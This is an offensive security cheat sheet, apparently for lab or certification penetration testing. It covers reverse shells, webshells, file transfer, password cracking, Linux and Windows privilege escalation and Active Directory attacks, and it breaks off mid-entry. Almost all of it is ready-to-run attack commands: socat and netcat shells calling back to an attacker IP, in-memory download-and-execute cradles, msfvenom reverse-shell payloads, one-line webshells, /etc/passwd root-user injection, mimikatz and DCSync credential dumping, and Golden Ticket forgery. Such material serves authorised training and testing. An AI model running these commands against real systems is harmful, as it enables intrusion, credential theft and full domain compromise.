tags: socat, tty, reverse-shell, shell-upgrade, stable

# listener (you):
socat file:`tty`,raw,echo=0 tcp-listen:443
# target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.x:443
  • file:`tty`,raw,echo=0 — bind your real terminal, raw, no echo
  • exec:'bash -li' — spawn a login-interactive bash
  • pty,stderr,setsid,sigint,sane — give it a PTY, forward stderr, new session, pass Ctrl-C, sane modes

Why: A fully interactive shell from the start - no stty dance, Ctrl-C behaves, editors work. Needs the socat binary on the target (push the static build if it's missing).

WinRM shell with evil-winrm

tags: evil-winrm, winrm, windows, shell, 5985, lateral-movement

evil-winrm -i $IP -u user -p pass
evil-winrm -i $IP -u user -H <NTLM>
*Evil-WinRM* PS> upload linpeas.exe   ;   download loot.txt
  • -i / -u / -p — target / user / password
  • -H <NTLM> — pass-the-hash instead of a password
  • upload / download — built-in file transfer over the WinRM channel

Why: The clean way onto a Windows box when the user is in Remote Management Users (port 5985). Full PowerShell with upload/download baked in - no shell-stabilising needed.

RDP from Kali with xfreerdp

tags: rdp, xfreerdp, windows, 3389, pass-the-hash, gui

xfreerdp /u:user /p:pass /v:$IP /dynamic-resolution +clipboard /drive:share,.
xfreerdp /u:Administrator /pth:<NTLM> /v:$IP
  • /u /p /v — user / password / target
  • /pth:<NTLM> — pass-the-hash over RDP (if Restricted Admin is on)
  • +clipboard — share the clipboard - paste commands straight in
  • /drive:share,. — mount your current dir as a drive inside the session

Why: A GUI session is sometimes the only way to reach a local-only app or finish a privesc that needs a desktop. The mounted drive is the fastest way to move tools in and loot out.

EternalBlue (MS17-010)

tags: eternalblue, ms17-010, smb, windows, rce, cve

nmap -p445 --script smb-vuln-ms17-010 $IP
# manual (no Metasploit): AutoBlue-MS17-010
python3 eternalblue_exploit7.py $IP shellcode/sc_x64.bin
  • smb-vuln-ms17-010 — the NSE check that confirms the box is vulnerable
  • AutoBlue — a scripted manual exploit - keeps your Metasploit allowance free
  • shellcode — generate it with the repo's shell_prep.sh to call back to you

Why: SMBv1 RCE to SYSTEM on Win7/2008-era hosts. Confirm with the NSE script first; use the Python exploit so you don't spend your one-and-only Metasploit box on it.

Gotcha: The MSF module is more reliable but costs your single Metasploit use - weigh it against saving MSF for a harder target.

One-line webshells

tags: webshell, php, jsp, aspx, rce, upload

php:  <?php system($_GET['c']); ?>
jsp:  <% Runtime.getRuntime().exec(request.getParameter("c")); %>
aspx: <% Response.Write(new ActiveXObject("WScript.Shell").Exec(Request["c"]).StdOut.ReadAll()); %>
  • system/exec — run the command passed in the 'c' parameter
  • match the stack — php for LAMP, jsp for Tomcat/Java, aspx for IIS
  • browse ?c=id — trigger it once it's in a web-served directory

Why: When an upload or a file-write primitive (LFI, Redis, rsync, SMB share mapped to a web root) lets you drop a file, a one-liner in the right language is your foothold. Then upgrade to a reverse shell.

File Transfers

HTTP pull (the default)

tags: http, python, wget, curl, file-transfer, download

# you:
python3 -m http.server 80
# target:
wget http://10.10.14.x/linpeas.sh -O /tmp/linpeas.sh
curl http://10.10.14.x/linpeas.sh -o /tmp/linpeas.sh
  • python3 -m http.server 80 — serve the current directory over HTTP
  • wget -O / curl -o — save to a chosen path (use /tmp or /dev/shm - writable + often noexec-free)

Why: The workhorse. Host your tools once, pull whatever you need. Port 80 blends with normal traffic and is usually allowed outbound.

Windows download cradles

tags: windows, powershell, certutil, download, file-transfer, iwr

certutil -urlcache -split -f http://10.10.14.x/s.exe C:\Windows\Temp\s.exe
powershell -c "Invoke-WebRequest http://10.10.14.x/s.exe -OutFile C:\Windows\Temp\s.exe"
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.x/p.ps1')"
  • certutil -urlcache -f — abuse the cert tool as a downloader (lives on every Windows)
  • Invoke-WebRequest -OutFile — PowerShell's wget
  • IEX(...DownloadString) — download and run in memory - never touches disk

Why: Windows has no wget, so you borrow LOLBins. The DownloadString/IEX cradle runs scripts in memory, which dodges a lot of disk-based AV.

Gotcha: C:\Windows\Temp is world-writable and a safe drop. If AV eats the file, go in-memory with IEX.

SMB server transfer

tags: smb, impacket, smbserver, windows, file-transfer

# you:
impacket-smbserver share $(pwd) -smb2support
# target:
copy \\10.10.14.x\share\s.exe .
\\10.10.14.x\share\nc.exe -e cmd 10.10.14.x 443
  • impacket-smbserver share <dir> — stand up an SMB share from a folder
  • -smb2support — speak SMB2/3 for modern Windows
  • \\IP\share\tool — run a tool straight off the share - no copy needed

Why: When HTTP is blocked, SMB usually isn't. You can even execute binaries directly off the share. Add '-user x -password y' if the target needs authenticated SMB.

No-network transfer (base64)

tags: base64, file-transfer, offline, copy-paste

# source:
base64 -w0 secret.kdbx
# destination (paste the blob):
echo '<blob>' | base64 -d > secret.kdbx
  • base64 -w0 — encode to a single line - no wraps to mangle on paste
  • base64 -d — decode back to the original bytes

Why: When there's no route for a file transfer at all, your shell is still a text channel. Encode, paste, decode. Verify with md5sum on both ends for binaries.

SCP / SFTP over SSH

tags: scp, sftp, ssh, file-transfer, keys

scp file.txt user@$IP:/tmp/            # push to target
scp user@$IP:/home/user/id_rsa ./       # pull from target
scp -i key.pem loot.tar user@$IP:/tmp/  # with a key
  • scp local remote — copy over SSH, either direction
  • -i key — use a private key you've looted
  • encrypted — blends in and won't be mangled like base64 paste

Why: The cleanest transfer when you have SSH creds or a key - reliable for binaries, works both ways, and leaves normal-looking SSH traffic.

netcat file transfer

tags: netcat, nc, file-transfer, offline, tcp

# receiver (you):  nc -lvnp 443 > out.bin
# sender (target):  nc 10.10.14.x 443 < file.bin
# verify:           md5sum out.bin  (compare both ends)
  • nc -lvnp > file — listen and write whatever arrives to a file
  • nc host port < file — stream a file over the connection
  • md5sum — confirm the binary survived intact

Why: When there's no HTTP or SMB and all you have is netcat, pipe the file over a raw TCP connection. Always checksum both ends for binaries.

Password Attacks

Online brute-force with hydra

tags: hydra, brute-force, ssh, http-post-form, password

hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://$IP
hydra -L users.txt -P rockyou.txt $IP http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
  • -l / -L — single username / username list
  • -P — password list
  • http-post-form — module: path : POST body with ^USER^/^PASS^ : failure string
  • :Invalid — the text shown on a FAILED login - hydra treats its absence as success

Why: For services (SSH, FTP, RDP) and web login forms. The whole trick on http-post-form is getting the failure string right - capture one failed login in Burp to see the exact body and error.

Gotcha: Throttle with -t 4 on SSH or you'll trip lockouts/connection drops and get false negatives.

Identify then crack a hash

tags: hashcat, john, hash, cracking, hashid

hashid '$6$abc...'   # or: name-that-hash -t '<hash>'
hashcat -m 1800 hash.txt rockyou.txt
john --wordlist=rockyou.txt hash.txt
  • hashid / name-that-hash — identify the hash type
  • -m 1800 — hashcat mode: sha512crypt (/etc/shadow)
  • hashcat / john — GPU vs CPU - john auto-detects, hashcat is faster with a mode

Why: Know the type before you burn hours. Common modes: 0=MD5, 100=SHA1, 1000=NTLM, 1800=sha512crypt, 3200=bcrypt, 13100=Kerberoast, 18200=AS-REP, 5600=NetNTLMv2.

Extract a crackable hash from a file

tags: john, 2john, ssh2john, zip2john, keepass, cracking

ssh2john id_rsa > hash.txt
zip2john secret.zip > hash.txt
keepass2john Database.kdbx > hash.txt
john --wordlist=rockyou.txt hash.txt
  • *2john — convert an encrypted file (SSH key, zip, KeePass, Office...) into a john hash
  • john --wordlist — then crack it

Why: A password-protected id_rsa, zip, KeePass DB or Office doc is just an offline hash. Convert, crack, open. Looted KeePass/zip is a recurring privesc and lateral step.

Build a target-specific wordlist

tags: cewl, wordlist, rules, mutate, password

cewl -d 2 -m 5 http://$IP -w words.txt
hashcat --force words.txt -r /usr/share/hashcat/rules/best64.rule --stdout > mutated.txt
  • cewl -d 2 -m 5 — spider the site 2 deep, grab words >=5 chars
  • -r best64.rule — apply 64 common mutations (Password -> P@ssw0rd1 ...)
  • --stdout — print the mutations instead of cracking

Why: When rockyou fails, the password is often on the company website. Scrape it, then mutate with rules to cover capitalisation, numbers and leet.

Spray / stuff creds across a service

tags: password-spray, nxc, crackmapexec, smb, reuse

nxc smb $IP -u users.txt -p 'Winter2025!' --continue-on-success
nxc smb $IP -u admin -p looted_pass --local-auth
  • -u users.txt -p <one pass> — spray ONE password across many users (avoids lockout)
  • --continue-on-success — keep going after the first hit
  • --local-auth — authenticate against the local SAM, not the domain

Why: Spraying (one password, many users) is safe against lockout policies; brute-forcing one user isn't. Always re-test looted creds against every host - reuse is everywhere.

Hashcat mask & rule attacks

tags: hashcat, mask, rules, cracking, password

hashcat -m 1000 hash.txt -a 3 '?u?l?l?l?l?d?d?d?s'         # mask: known pattern
hashcat -m 1000 hash.txt rockyou.txt -r rules/OneRuleToRuleThemAll.rule
  • -a 3 (mask) — build candidates from a pattern: ?u upper ?l lower ?d digit ?s symbol
  • -r <rule> — mutate each wordlist word (capitalise, append years, leet)
  • when rockyou fails — target a known policy, e.g. Season+Year! -> ?u?l?l?l?l?d?d?d?s

Why: Straight wordlists miss policy-shaped passwords. A mask cracks a known pattern fast; a big rule file (OneRule) expands a wordlist to cover the common mutations people actually use.

Linux Privesc

sudo -l (always first)

tags: sudo, privesc, gtfobins, linux

sudo -l
# then look the binary up on GTFOBins, e.g. sudo allows 'less':
sudo less /etc/profile  ->  !/bin/sh
  • sudo -l — what you may run as root (sometimes with NOPASSWD)
  • GTFOBins — the lookup table from 'binary I can run as root' to 'root shell'
  • !/bin/sh — less/more/vi/man can shell out while running as root

Why: The first command on every Linux foothold. One misconfigured sudo entry is the whole box. If NOPASSWD isn't set you still need the user's password.

Hunt SUID binaries

tags: suid, find, privesc, gtfobins, linux

find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
  • -perm -4000 — the SUID bit - the binary runs as its owner (often root)
  • -type f — files only
  • 2>/dev/null — hide the permission-denied noise
  • getcap -r / — also list Linux capabilities (cap_setuid on python = instant root)

Why: Any non-standard SUID binary is a privesc lead - check it on GTFOBins. Capabilities are the modern cousin: cap_setuid+ep on perl/python/ruby gives root directly.

Automated enum: linpeas + pspy

tags: linpeas, pspy, privesc, enumeration, cron, linux

./linpeas.sh -a | tee linpeas.out
./pspy64
  • linpeas.sh -a — run every check; red+yellow = very likely privesc
  • tee — watch it live and keep a copy to re-read
  • pspy64 — watch processes + cron as a NON-root user, no setup

Why: linpeas surfaces the obvious wins; pspy catches the subtle one - a root cron job running a script you can write to. Leave pspy running a few minutes and watch for scheduled tasks.

Writable cron / PATH hijack

tags: cron, path-hijack, privesc, linux, writable

cat /etc/crontab ; ls -la /etc/cron.*
# root cron runs 'backup' with no absolute path and . in PATH:
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > backup
chmod +x backup
  • /etc/crontab — scheduled jobs + the PATH they use
  • no absolute path — if cron calls 'backup' not '/usr/bin/backup', you win the name race
  • chmod +s — make a root-owned SUID bash: /tmp/rootbash -p gives root

Why: A root job that runs a world-writable script, or resolves a command via a PATH you control, is a reliable root. The SUID-bash drop is the classic payload.

Writable /etc/passwd

tags: etc-passwd, privesc, linux, writable, root

openssl passwd -1 -salt x pass123
echo 'hacker:$1$x$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker   # password: pass123
  • openssl passwd -1 — make an MD5-crypt hash for the new account
  • ...:0:0:... — UID 0 and GID 0 = root
  • su hacker — switch to your new root-equivalent user

Why: If /etc/passwd is writable you don't need to crack anything - add your own UID-0 user. Rare but instant.

NFS no_root_squash root

tags: nfs, no-root-squash, privesc, suid, linux

# target /etc/exports shows:  /share *(rw,no_root_squash)
# on YOUR box (as root):
mount -t nfs $IP:/share /mnt; cp /bin/bash /mnt/sh; chmod +s /mnt/sh
# on target:  /share/sh -p
  • no_root_squash — your remote root is treated as root on the share
  • chmod +s as root — create a root-owned SUID binary on the share
  • /share/sh -p — run it on the target - -p keeps the SUID privileges

Why: When an export trusts remote root, you forge a SUID root binary from your own machine and execute it on the target. Bridges the Enumeration NFS finding to root.

Kernel / sudo version exploits

tags: kernel-exploit, pwnkit, dirtypipe, sudo, privesc, cve

uname -a ; cat /etc/os-release
sudo --version
searchsploit linux kernel <version>
  • uname -a — kernel version -> searchsploit
  • sudo --version — vuln to Baron Samedit CVE-2021-3156 if < 1.9.5p2
  • notable — PwnKit CVE-2021-4034 (pkexec), DirtyPipe 5.8-5.16.11

Why: Last resort when config-based routes dry up, because kernel exploits can panic the box. PwnKit and Baron Samedit are near-universal on older images and very stable.

Docker / lxd group escape

tags: docker, lxd, group, privesc, linux, container

id   # you're in 'docker' or 'lxd'
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
  • -v /:/mnt — mount the host's root filesystem into the container
  • chroot /mnt sh — break into the host FS as root (container runs as root)

Why: Membership of docker/lxd is root-equivalent by design - you mount the host disk and chroot in. Check 'id' on every foothold for these groups.

Wildcard injection (tar / chown in cron)

tags: wildcard, tar, cron, privesc, linux, argument-injection

# a root cron runs:  tar czf /backup/b.tgz *   in a dir you can write to
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > x.sh
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh x.sh'
  • * — the shell expands it to every filename, including ones that look like flags
  • --checkpoint-action=exec= — a real tar option - run a command mid-archive
  • files named like options — tar reads them as arguments, not data

Why: When a root job runs tar/chown/rsync with a wildcard in a directory you control, plant files whose names are command-line options. The tool executes your script as root.

Gotcha: Same trick works with rsync (-e), chown (--reference) and other tools that take option-style arguments.

LD_PRELOAD / LD_LIBRARY_PATH via sudo

tags: ld-preload, sudo, privesc, linux, shared-library, env-keep

# sudo -l shows:  env_keep+=LD_PRELOAD
gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles   # x.c defines _init() -> setuid(0);system("/bin/bash")
sudo LD_PRELOAD=/tmp/x.so <any-allowed-command>
  • env_keep+=LD_PRELOAD — sudo preserves your LD_PRELOAD into the root process
  • _init() — runs as the library loads, before the real program - as root
  • LD_PRELOAD=/tmp/x.so — force your library into the sudo'd binary

Why: If a sudo rule keeps LD_PRELOAD (or LD_LIBRARY_PATH), your shared object loads into the root process and its constructor gives you a root shell - no matter which command is allowed.

Writable systemd service / timer

tags: systemd, service, timer, privesc, linux, writable

find /etc/systemd/system -writable 2>/dev/null
# edit ExecStart= to your payload, then:
systemctl daemon-reload && sudo systemctl restart vuln.service
  • /etc/systemd/system — unit files - services run as root unless told otherwise
  • ExecStart= — the binary/script a unit runs; writable = root
  • daemon-reload — make systemd pick up your edit

Why: The modern cron. A writable unit file - or a writable binary that a root unit calls - is root. Check both the .service files and the paths inside their ExecStart.

screen / tmux session hijack

tags: screen, tmux, privesc, linux, session-hijack

screen -ls                # look for a root-owned session
screen -x root/<id>        # attach to it
ls -la /tmp /var/tmp | grep -i tmux ; tmux -S <socket> attach
  • screen -x — attach to a shared session you don't own
  • -S <socket> — tmux: point at another user's socket file
  • world-accessible socket — the misconfig - a root session left attachable

Why: Admins leave detached root screen/tmux sessions with loose socket permissions. Attach and you're in a live root shell - no exploit, no password.

Python library / module hijack

tags: python, library-hijack, privesc, linux, pythonpath, sudo

# a root script does:  import config   (and runs from a dir you can write)
echo 'import os; os.setuid(0); os.system("/bin/bash")' > config.py
  • import <module> — Python searches the script's own directory first
  • writable dir / PYTHONPATH — drop your module earlier in the search path
  • os.setuid(0) — your code runs as root when the script imports it

Why: If root runs a Python script that imports a module from a path you can write to (its own folder, or a PYTHONPATH sudo keeps), your look-alike module executes as root. Pairs with a sudo-runnable script.

Windows Privesc

Check your privileges and token

tags: whoami, privesc, windows, token, seimpersonate

whoami /priv
whoami /all
whoami /groups
  • /priv — enabled privileges - SeImpersonate/SeBackup/SeRestore are gold
  • /all — groups + privileges + token in one view
  • /groups — group memberships (look for high-value SIDs)

Why: Decides your route in one line. SeImpersonate -> Potato to SYSTEM; SeBackup/SeRestore -> read SAM; admin group -> UAC bypass.

SeImpersonate to SYSTEM (Potato)

tags: seimpersonate, potato, printspoofer, godpotato, privesc, windows

PrintSpoofer64.exe -i -c cmd
GodPotato -cmd "cmd /c whoami"
  • SeImpersonate — the privilege these abuse (default on service accounts/IIS)
  • PrintSpoofer -i -c cmd — interactive SYSTEM cmd via the print spooler
  • GodPotato — works across modern Windows where JuicyPotato doesn't

Why: Service accounts (IIS, MSSQL) almost always hold SeImpersonate. A Potato turns that into SYSTEM in seconds - the standard web-shell-to-SYSTEM jump on Windows.

Automated enum: winPEAS / PowerUp / Seatbelt

tags: winpeas, powerup, seatbelt, privesc, windows, enumeration

winPEASx64.exe
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
  • winPEAS — catch-all: services, creds, patches, tokens
  • PowerUp Invoke-AllChecks — finds service/permission misconfigs and suggests the exploit
  • -ep bypass — skip the execution policy (it's not a security boundary)

Why: Run one, read top to bottom. PowerUp is great because it names the exact abuse function to run next (e.g. Install-ServiceAbuse).

Service misconfigs (unquoted path / weak perms)

tags: service, unquoted-path, privesc, windows, accesschk

wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "C:\Windows"
accesschk.exe -uwcqv user *
sc config <svc> binpath= "C:\Temp\s.exe" & sc start <svc>
  • unquoted path with spaces — Windows tries C:\Program.exe first - drop yours there
  • accesschk -uwcqv — find services your user can modify/start
  • sc config binpath= — repoint the service at your binary, then start it

Why: If you can modify a service that runs as SYSTEM, you own SYSTEM. Unquoted paths and weak service ACLs are the two most common findings.

Hunt stored credentials

tags: credentials, privesc, windows, gpp, unattend, registry

cmdkey /list
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon
findstr /si password *.xml *.ini *.txt *.config
  • cmdkey /list — saved creds you can reuse with 'runas /savecred'
  • Winlogon — DefaultUserName/DefaultPassword for autologon
  • findstr /si password — recursively grep config files for passwords
  • unattend.xml / Groups.xml — deployment + GPP cPassword - decryptable with gpp-decrypt

Why: Windows hides passwords everywhere: autologon registry keys, unattended-install files, GPP XML on SYSVOL, saved RDP creds. One find usually unlocks a higher-priv account.

Dump secrets with mimikatz

tags: mimikatz, credentials, windows, lsass, pass-the-hash, privesc

privilege::debug
sekurlsa::logonpasswords
lsadump::sam
  • privilege::debug — acquire SeDebug so you can read LSASS
  • sekurlsa::logonpasswords — pull plaintext/NTLM of logged-on users from memory
  • lsadump::sam — dump local account hashes from the SAM

Why: Once you're admin/SYSTEM, mimikatz harvests the credentials of everyone who's logged in - which is how you move from one Windows box to the next.

AlwaysInstallElevated

tags: alwaysinstallelevated, msi, privesc, windows, registry

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.x LPORT=443 -f msi -o x.msi
msiexec /quiet /qn /i x.msi
  • both keys = 0x1 — any .msi installs with SYSTEM privileges
  • -f msi — build the payload as an installer package
  • msiexec /quiet /i — install it silently -> SYSTEM

Why: When both the HKLM and HKCU keys are set to 1, any user can install an MSI as SYSTEM. winPEAS flags it; it's one of the fastest Windows wins.

UAC bypass (fodhelper)

tags: uac, fodhelper, bypass, windows, privesc, registry

reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd /c start C:\Temp\s.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /f
start fodhelper.exe
  • ms-settings\Shell\Open\command — fodhelper reads this key when it auto-elevates
  • DelegateExecute (empty) — forces it to use your command value
  • fodhelper.exe — an auto-elevating trusted binary - runs your cmd high-integrity

Why: You're in the admin group but stuck at medium integrity (a UAC-limited shell). fodhelper auto-elevates and executes your registry command, handing you a high-integrity shell.

DLL hijacking

tags: dll-hijacking, windows, privesc, procmon, search-order

# find a privileged process loading a missing DLL from a writable path (ProcMon: 'NAME NOT FOUND')
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.x LPORT=443 -f dll -o hijack.dll
copy hijack.dll C:\writable\path\missing.dll
  • NAME NOT FOUND — ProcMon shows the process looking for a DLL that isn't there
  • writable path in search order — drop your DLL where it looks first
  • -f dll — your payload as a DLL the process will load

Why: Windows checks the application directory before system paths. A SYSTEM process that can't find a DLL, plus a writable directory in its search order, equals code execution as SYSTEM.

Scheduled task abuse

tags: scheduled-task, schtasks, windows, privesc, writable

schtasks /query /fo LIST /v | findstr /i "TaskName Run As User Task To Run"
icacls C:\path\to\task.bat    # is it writable?
  • schtasks /query /v — list tasks, who they run as, and what they run
  • Task To Run — the binary/script - check its permissions with icacls
  • writable + runs as SYSTEM — overwrite it and wait for the trigger

Why: A scheduled task that runs as SYSTEM but calls a script or binary you can modify is a reliable, patient root. Overwrite the target and let the schedule fire.

runas with saved credentials

tags: runas, cmdkey, windows, privesc, stored-creds

cmdkey /list
runas /savecred /user:BOX\Administrator "cmd /c C:\Temp\s.exe"
  • cmdkey /list — shows stored credentials you can reuse
  • /savecred — use the saved password without knowing it
  • /user:... — run as that account

Why: When cmdkey lists saved admin/domain credentials, runas /savecred executes commands as that user - you never need to see the password. Common right after credential hunting.

Active Directory

Map the domain with BloodHound

tags: bloodhound, sharphound, active-directory, enumeration, attack-path

bloodhound-python -u user -p pass -d box.htb -ns $IP -c All
# or on-host: SharpHound.exe -c All
  • -c All — collect sessions, ACLs, group memberships, trusts
  • bloodhound-python — remote collector from Kali - no code on the target
  • -ns — the domain's DNS server (the DC)

Why: Ingest the data into the BloodHound GUI and run 'Shortest paths to Domain Admins'. It turns a pile of ACLs into a clickable attack path - the backbone of AD work.

Kerberoasting

tags: kerberoast, active-directory, spn, hashcat, credentials

GetUserSPNs.py box.htb/user:pass -dc-ip $IP -request
hashcat -m 13100 spn.hash rockyou.txt
  • GetUserSPNs -request — ask the DC for TGS tickets of every service account
  • -m 13100 — hashcat mode for the Kerberos TGS hash
  • SPN — service accounts' tickets are encrypted with their password hash

Why: Any domain user can request service tickets, which are encrypted with the service account's password - crack offline, no lockout risk. Service accounts often have weak, static passwords and high privilege.

AS-REP roasting

tags: asreproast, active-directory, kerberos, hashcat, credentials

GetNPUsers.py box.htb/ -usersfile users.txt -no-pass -dc-ip $IP
hashcat -m 18200 asrep.hash rockyou.txt
  • -no-pass — no creds needed - target accounts with pre-auth disabled
  • -usersfile — list of users to test
  • -m 18200 — hashcat mode for the AS-REP hash

Why: Accounts with 'Do not require Kerberos pre-auth' leak a crackable hash to anyone, unauthenticated. Pure win if you have even a username list.

Pass-the-Hash

tags: pass-the-hash, ntlm, active-directory, lateral-movement, evil-winrm, nxc

nxc smb $IP -u Administrator -H <NTLM> --local-auth
evil-winrm -i $IP -u Administrator -H <NTLM>
psexec.py -hashes :<NTLM> Administrator@$IP
  • -H <NTLM> — authenticate with the hash - no plaintext needed
  • evil-winrm — interactive PowerShell over WinRM (5985)
  • psexec.py -hashes — SYSTEM shell over SMB using the hash

Why: NTLM auth never needs the plaintext - the hash IS the credential. Dump a hash on one box, spray it across the domain. The core AD lateral move.

DCSync (dump the domain)

tags: dcsync, secretsdump, active-directory, krbtgt, ntds, credentials

secretsdump.py box.htb/user:pass@$IP
secretsdump.py -just-dc-ntlm box.htb/user:pass@$IP
  • secretsdump — replicate password hashes from the DC
  • -just-dc-ntlm — only the domain NTLM hashes (incl. krbtgt and Administrator)
  • needs — Replication rights - Domain Admin, or an ACL that grants DS-Replication

Why: The endgame: pull every hash in the domain, including krbtgt (Golden Ticket) and the domain Administrator. BloodHound shows you which account can do it.

LLMNR poisoning with Responder

tags: responder, llmnr, netntlm, active-directory, ntlmrelayx, mitm

sudo responder -I tun0 -wv
# crack what you catch:
hashcat -m 5600 netntlmv2.hash rockyou.txt
  • -I tun0 — listen on the VPN/LAN interface
  • -wv — run the rogue WPAD + servers, verbose
  • -m 5600 — hashcat mode for NetNTLMv2

Why: Windows broadcasts name lookups (LLMNR/NBT-NS); Responder answers and captures the NetNTLMv2 auth. Crack it, or relay it with ntlmrelayx to a host where SMB signing is off.

ADCS ESC1 (certipy)

tags: adcs, certipy, esc1, active-directory, certificate, privesc

certipy find -u user@box.htb -p pass -dc-ip $IP -vulnerable -stdout
certipy req -u user@box.htb -p pass -ca 'BOX-CA' -template VulnTemplate -upn administrator@box.htb
certipy auth -pfx administrator.pfx -dc-ip $IP
  • find -vulnerable — scan cert templates for misconfigurations (ESC1-8)
  • req -template -upn administrator — request a cert AS the admin (template allows SAN)
  • auth -pfx — PKINIT with the cert -> get the admin's TGT and NT hash

Why: A cert template that lets a low-priv user specify the subject (ESC1) means you request a certificate as Domain Admin and authenticate with it. certipy hands you the admin hash at the end.

Pass-the-Ticket

tags: pass-the-ticket, kerberos, ccache, active-directory, lateral-movement

export KRB5CCNAME=/tmp/admin.ccache
psexec.py -k -no-pass box.htb/administrator@dc.box.htb
# Windows: mimikatz  kerberos::ptt ticket.kirbi
  • KRB5CCNAME — point impacket at a stolen/forged Kerberos ticket
  • -k -no-pass — authenticate with Kerberos only, no password/hash
  • ptt — mimikatz injects a .kirbi ticket into your session

Why: Kerberos tickets are credentials. Harvest a .ccache (often world-readable in /tmp on Linux-joined hosts) or a .kirbi, then reuse it to move laterally without ever cracking a password.

Golden Ticket

tags: golden-ticket, krbtgt, ticketer, active-directory, persistence

ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain box.htb administrator
export KRB5CCNAME=administrator.ccache ; psexec.py -k -no-pass box.htb/administrator@dc.box.htb
  • -nthash <krbtgt> — the krbtgt hash signs all TGTs - get it from DCSync
  • -domain-sid — the domain SID (from 'lookupsid.py' or whoami /user)
  • administrator — forge a TGT for any user, even nonexistent ones

Why: With the krbtgt hash you forge your own TGTs for anyone - the domain's master key. Endgame persistence: survives password resets of every account except krbtgt itself.

NTLM relay (ntlmrelayx)

tags: ntlmrelay, ntlmrelayx, responder, active-directory, smb-signing, mitm

# Responder.conf: SMB=Off, HTTP=Off  (so you capture, don't answer)
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t smb://$IP -smb2support -c 'powershell -enc ...'
  • -tf / -t — hosts to relay the captured auth TO
  • relay (not crack) — forward the NTLM auth to another host as the victim
  • needs SMB signing OFF — on the target, or the relay is rejected

Why: Instead of cracking a captured NetNTLM hash, replay it live against a host where SMB signing is disabled - dumping its SAM or running a command as the relayed user. Pair with Responder or a coercion like PetitPotam.

BloodHound - the queries that matter

tags: bloodhound, cypher, active-directory, attack-path, enumeration

# in the GUI, after marking your foothold as Owned:
Shortest Paths to Domain Admins
Find Principals with DCSync Rights
List all Kerberoastable Accounts / Find AS-REP Roastable Users
  • Mark as Owned — seeds the graph with what you already control
  • Shortest Paths to DA — the headline query - your route to the top
  • DCSync / Kerberoastable — pre-built queries that name the next target

Why: BloodHound's value is the pre-canned analytics: they convert thousands of ACLs into 'compromise this account next'. Always mark owned nodes so the paths start from reality.

Unconstrained delegation + coercion

tags: unconstrained-delegation, active-directory, tgt, rubeus, printerbug, coerce

findDelegation.py box.htb/user:pass -dc-ip $IP        # locate unconstrained hosts
# on the compromised unconstrained host, capture incoming TGTs:
Rubeus.exe monitor /interval:5 /nowrap
# force the DC to authenticate to you, so DC$'s TGT lands in the cache:
printerbug.py box.htb/user:pass@$IP 10.10.14.x
  • unconstrained — the host caches the full TGT of anyone who authenticates to it
  • Rubeus monitor — watch for and extract those TGTs (you need admin on the host)
  • printerbug / PetitPotam — coerce the DC to auth to you -> you capture DC$'s TGT

Why: A host trusted for unconstrained delegation plus a coercion gadget equals domain compromise: force the DC to authenticate, grab its machine-account TGT, then pass-the-ticket into a DCSync.

Constrained delegation (S4U)

tags: constrained-delegation, active-directory, s4u, getst, impersonate, kerberos

# account has msDS-AllowedToDelegateTo set for an SPN:
getST.py -spn cifs/dc.box.htb -impersonate administrator box.htb/svc:pass -dc-ip $IP
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass box.htb/administrator@dc.box.htb
  • msDS-AllowedToDelegateTo — the account may delegate to a specific service
  • -impersonate administrator — S4U2Self+S4U2Proxy forge a ticket AS admin to that SPN
  • swap the SPN service — cifs -> host/ldap often works, widening what you can reach

Why: Control an account configured for constrained delegation and you can request a service ticket as any user - including Domain Admin - to the allowed service.

Resource-based constrained delegation (RBCD)

tags: rbcd, active-directory, delegation, machine-account, getst, acl

# you have GenericWrite/GenericAll over TARGET$ and can add a machine (MAQ>0):
addcomputer.py -computer-name 'EVIL$' -computer-pass 'P@ss123' box.htb/user:pass -dc-ip $IP
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write box.htb/user:pass
getST.py -spn cifs/target.box.htb -impersonate administrator 'box.htb/EVIL$:P@ss123'
  • write over a computer object — lets you set who may act on its behalf
  • add EVIL$ — MachineAccountQuota (default 10) lets any user add a computer
  • msDS-AllowedToActOnBehalf... — point it at EVIL$, then S4U impersonate admin to TARGET

Why: Write access over a computer object is full compromise of that computer: configure RBCD so a machine account you control can impersonate the admin to it.

Shadow Credentials

tags: shadow-credentials, active-directory, certipy, pkinit, keycredlink, acl

# GenericWrite/GenericAll over a user or computer, with ADCS/PKINIT present:
certipy-ad shadow auto -u user@box.htb -p pass -account victim -dc-ip $IP
# (adds a key to msDS-KeyCredentialLink, PKINITs as 'victim', returns their NT hash)
  • msDS-KeyCredentialLink — a writable attribute holding public keys for PKINIT
  • shadow auto — add key -> authenticate with it -> recover the NT hash
  • needs PKINIT/ADCS — the domain must support certificate logon

Why: The modern way to cash in a write right over an account: instead of resetting the password (noisy, locks the real user out), add a key credential and PKINIT as them to get their hash.

ACL abuse: GenericAll / GenericWrite over a user

tags: acl, genericall, genericwrite, active-directory, targeted-kerberoast, bloodyad

# GenericAll -> reset the password:
